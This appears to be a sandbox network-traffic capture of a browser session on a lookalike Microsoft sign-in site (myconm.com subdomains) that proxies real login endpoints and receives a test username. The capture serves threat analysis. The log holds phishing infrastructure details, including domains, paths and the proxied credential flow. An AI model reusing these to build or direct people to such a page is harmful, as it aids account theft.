2024-12-09 17:43:04 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:43:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 7ef7cbe9-9e70-4fdb-97b1-8e7f006c6101 x-ms-ests-server: 2.1.19492.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49795	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:07 UTC	1333	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive Content-Length: 1329 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: eb4a20bc-4749-4bf4-b87c-64a5d6d72b00 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 970e892d-5314-442c-b615-8e07d409df4c canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeNFwuVL4kYXYj28KDZYfCRIpGBhRavyppV9UfxY6Lh_cwF42kJJIJkPWVDl9ulhCPsbyjVHCgLVhFwBTi0V5acPizJ7xcDI_NlI0rq3aO07V1f2bwXtVYJ5tZrseIUwMSWktlY_mt7JMsmM0bejSyG6meVVKyhFxW8cHON0bci25OYcwG710NuKcvKKGUwxg8nysQD_lVNJgh3bSmw30UsyAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://offcap.myconm.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0
2024-12-09 17:43:07 UTC	1329	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 6f 62 40 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 34 32 4b 77 30 73 6b 6f 4b 53 6b 6f 74 74 4c 58 4c 38 67 76 4b 6b 6e 4d 30 63 76 4e 54 43 37 4b 4c 38 35 50 4b 38 6e 50 79 38 6e 4d 53 39 56 4c 7a 73 5f 56 79 79 39 4b 7a 30 77 42 73 59 71 45 75 41 52 30 4f 5f 6d 6d Data Ascii: {"username":"bob@outlook.com","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mm
2024-12-09 17:43:09 UTC	821	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: 970e892d-5314-442c-b615-8e07d409df4c x-ms-request-id: 99b7dcfc-b960-4144-a6b1-44aaef85e000 x-ms-ests-server: 2.1.19492.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:09 UTC	1298	IN	Data Raw: 35 30 62 0d 0a 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 62 6f 62 40 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 62 6f 62 40 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 35 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 30 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 36 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c Data Ascii: 50b{"Username":"bob@outlook.com","Display":"bob@outlook.com","IfExistsResult":5,"IsUnmanaged":false,"ThrottleStatus":0,"Credentials":{"PrefCredential":6,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null,
2024-12-09 17:43:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49825	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:09 UTC	789	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:10 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:09 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: 5b957826-701e-005d-0347-47f67f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174309Z-15b54885d96czfl7hC1FRAm0rg0000000cd000000000cp7p x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2024-12-09 17:43:10 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-12-09 17:43:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	49826	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:09 UTC	783	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:10 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:09 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: 66f24eb1-a01e-0062-178c-460171000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174309Z-15d6f6465c8nf69zhC1DUSstes0000000dm00000000114g5 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-09 17:43:10 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-12-09 17:43:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	49828	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:10 UTC	1613	OUT	GET /oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com HTTP/1.1 Host: l1ve.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:11 UTC	534	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 60971 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C513_SN1 x-ms-request-id: 03c2783e-b984-4d70-8164-06d350b83bb3 ppserver: PPV: 30 H: SN1PEPF0002F9E6 V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:11 UTC	15850	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd db 7a ea 48 d2 28 78 bf 9f 02 53 d5 06 da d8 e6 7c f2 a2 dc 9c 6c 63 83 8d 11 f8 58 de 6b 0b 29 01 d9 42 c2 92 38 ae 65 5e 66 2e e6 db 17 73 37 6f d0 2f 36 11 91 29 21 b0 bd 6a 55 75 f7 7c ff de 33 f5 ff bd 2c a5 f2 10 19 19 e7 8c 4c be ec 54 af 2a 9d fb 56 2d 30 74 46 fa 6f ff ed 0b fe 09 a8 9a 55 0c ea 8e 15 0c e8 b2 31 28 06 6b 97 fb 5d 29 f8 db 7f 0b 7c 19 32 59 85 bf 81 2f 23 e6 c8 01 c5 34 1c 66 38 c5 a0 c3 e6 ce 21 36 3d 0a 28 43 d9 b2 99 53 9c 38 fd fd 5c 10 ba 75 c6 fb ec 75 a2 4d 8b c1 0a af be df 59 8c 59 f0 f0 83 6e ea b5 62 4d 1d b0 cd 56 77 fb dd d2 7e c5 1c 8d 65 47 eb e9 6e 43 5d 33 5e 02 8a 65 da b6 69 69 03 cd 28 06 a1 95 c5 fa c5 20 b6 b5 0b 87 87 72 3f 13 cb 25 e3 b9 fd 18 4b e7 e3 72 22 7b 30 5a c0 Data Ascii: zH(xS\|lcXk)B8e^f.s7o/6)!jUu\|3,LT*V-0tFoU1(k])\|2Y/#4f8!6=(CS8\uuMYYnbMVw~eGnC]3^eii( r?%Kr"{0Z
2024-12-09 17:43:11 UTC	12556	IN	Data Raw: a2 34 05 84 21 91 04 c2 60 bd a2 b7 73 73 c4 aa 8f 66 97 c0 4b 46 9e 7c 29 67 65 d1 dd bc 68 76 69 79 55 2c 73 13 f2 58 f9 88 a2 4f f4 ab d4 ac 17 66 53 fc ba 67 ce 11 49 79 15 e9 11 a4 06 30 46 2a f3 29 a0 e7 9b 80 26 81 8d ff 08 d0 f3 1f 00 3a 2e 9a e7 3f 0f e8 18 7b 52 b2 1e a0 fd 98 f2 29 a0 8d 4d 40 13 2a 07 94 ab f0 f7 40 36 7e 00 64 a7 68 36 fe 18 c8 0d 33 ce 4d 45 da 73 41 ef 20 8e e5 8c 07 7a bc d7 cb 7e 0a fb 70 13 f6 f8 1a c5 f1 94 2c 13 8a f9 5b 06 e8 e4 31 d4 0f 01 f9 95 8b 00 9e 39 a4 69 a4 81 f1 98 55 a4 38 c7 23 95 c1 c8 4f 47 fc 28 f8 1c 0f c2 31 eb 91 95 9f 76 77 11 b9 16 34 8e 7e db 34 83 0a 3b 50 cf dd a1 2c c0 24 90 4d 30 25 1c 70 e5 05 5a fc b8 72 b3 1c 27 45 73 88 b8 0a b5 cd 8b ae 13 82 a1 cc 09 42 9a 4e 7a 88 23 7c 4d c3 d2 69 84 Data Ascii: 4!`ssfKF\|)gehviyU,sXOfSgIy0F)&:.?{R)M@@6~dh63MEsA z~p,[19iU8#OG(1vw4~4;P,$M0%pZr'EsBNz#\|Mi
2024-12-09 17:43:12 UTC	16384	IN	Data Raw: 38 dd 54 03 d4 c7 9c 6e 3e af 0e 0d 69 fe b2 92 34 1d d9 40 1a 3f 27 88 1f 11 61 c6 49 a3 6b 2b 73 3e dd 5a 8d 0d 10 51 68 99 84 85 a8 a9 8c 1d 16 60 0b 07 e6 ae c4 fc 9d 32 f5 3b 47 53 09 0a 40 47 9c 58 6d 74 61 8c e0 c2 42 df fd ce a6 de 21 c2 85 cb d6 2e e9 a6 61 3f 7b 1d ba 78 a5 84 6e 2b f2 a8 a2 ff 7c 67 59 2d 69 ab f7 28 2a 23 59 94 3a 19 88 c5 c2 a1 84 3d 3d 86 65 0c 45 9f 72 08 de c4 5c 8d b3 aa 04 98 17 b0 eb 83 d8 22 3e 82 0d 97 c0 f4 41 1c b0 7f a5 87 86 8c d1 ac 12 07 0c 32 69 73 58 fc 6f 9e 69 f8 0a 62 78 7d f4 34 cd b1 4e ac a1 c3 16 8e e1 8b 7f bb 62 d9 f5 17 45 d2 37 9a a6 df 69 33 31 bf 28 3f b6 3a 2f 28 d5 7a 7d b6 97 0e 69 76 43 27 a4 7e 6c ce e4 5e e7 63 c9 28 ce c2 08 71 4b 4b 66 f7 e7 80 85 0a c6 f5 bf 5b c3 e6 e8 2a 5f c3 2f b5 a3 Data Ascii: 8Tn>i4@?'aIk+s>ZQh`2;GS@GXmtaB!.a?{xn+\|gY-i(#Y:==eEr\">A2isXoibx}4NbE7i31(?:/(z}ivC'~l^c(qKKf[_/
2024-12-09 17:43:12 UTC	16181	IN	Data Raw: 63 d1 85 5b db 9e 0a a2 93 69 02 65 ea b0 a6 d3 f7 75 b2 4c 95 dc 6f 35 5f 92 84 b5 a6 38 48 ca af 75 31 e0 57 29 9a a4 f5 e5 0c 94 dc f5 40 5e 73 88 10 df c9 51 60 cd 75 c2 d8 d5 08 9b 09 63 c5 8f 20 e7 21 a3 a6 3d 63 f2 2e de 5a 5a a2 0e 86 63 1d 60 69 c1 ae 32 6c a0 40 c0 ee 48 8a 33 b1 9c 69 0e 31 b1 64 86 d0 ea 56 5f 8b d5 ad ff 52 c8 17 25 05 4e 62 df ad 1a 9d 26 e5 79 75 dd 1c 0b a1 2b e8 49 08 84 a1 4e 16 ba 96 8f e7 ee bc 53 53 ca 36 e0 67 0f 7a a7 a7 ee 8e 25 e5 3b 67 09 10 1c d8 ea 6a 76 7a d6 3a 3d dd 4e 6f 30 4b 37 b2 68 77 60 2d 0f cd b2 38 7c 9d 9e b9 33 ff 75 a5 1c f7 e4 a0 9d 1e c3 9a e8 50 0c a3 cd b1 1e 57 05 01 5e be 96 a1 b8 e0 81 5f 65 38 57 db 58 a5 49 c0 2f c8 c6 74 fd a4 b2 67 1b 7f 03 bb 5e d2 57 33 02 21 87 d6 98 03 37 5d ce 1a Data Ascii: c[ieuLo5_8Hu1W)@^sQ`uc !=c.ZZc`i2l@H3i1dV_R%Nb&yu+INSS6gz%;gjvz:=No0K7hw`-8\|3uPW^_e8WXI/tg^W3!7]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49829	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:10 UTC	1189	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAADW6jl31mB3T7ugrWTT8pFe2j3RdnNuE0GFdTQS7Ut67vMN1C1Guyb7dFdurOJ0jfOvTtrUGz0f7WyrXMilqve5aDst3BqHOq51zsPBDnzlxT6epiyYDsiwTAIbHvdxDoudG2ntcDeHu2TObVS0Ec8C1dTR-5mKNfuwUCgmWRXX8cpJuVe5nJR0DZxBStdKKnL4lFMoCa4w-96R7bLkD5khmqgpX592icGzBIjVWSIRkKos6W4bgJkPacRVy7okWhnMwjtADiqxqkoufFGuY5fkMLBCFTbAyawTAvTtdaEUz4U4PIbRchFdHWHC_FvSGRgjRRSsAeec8I1J6JWsHVmEBQ7uAC2G6zGAKDq4xV_gj95Svk-0p2RvzGYvlsewqiWgwK_XE9eJteiRJ3ho8DxolmjSruvCEJcJyvAYGZFxF42KiWGPvgAS9cpQanjbsy8PRfNPxnve1HeRNl1eeqhL9h63bsqTbmhNiix5cSTNctF1fR4N9laeFy6r9tVjCG2Mv__gLJp-F2w8f03j8Q6FIAA
2024-12-09 17:43:11 UTC	767	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:11 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: ae328d75-2d73-46a0-bee3-d2cb9e081400 x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:11 UTC	170	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 64 30 39 62 65 39 61 33 2d 66 31 39 62 2d 34 33 65 31 2d 39 63 33 65 2d 38 36 35 62 33 39 32 39 64 35 34 64 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 30 39 20 31 37 3a 34 33 3a 31 31 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"d09be9a3-f19b-43e1-9c3e-865b3929d54d","timestamp":"2024-12-09 17:43:11Z","message":"AADSTS900561"}}
2024-12-09 17:43:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.17	49830	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:11 UTC	547	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:12 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:12 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: aa2ece26-e01e-004f-52d0-448daf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174312Z-15b54885d967vv5qhC1FRAdx380000000nv000000000cafn x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
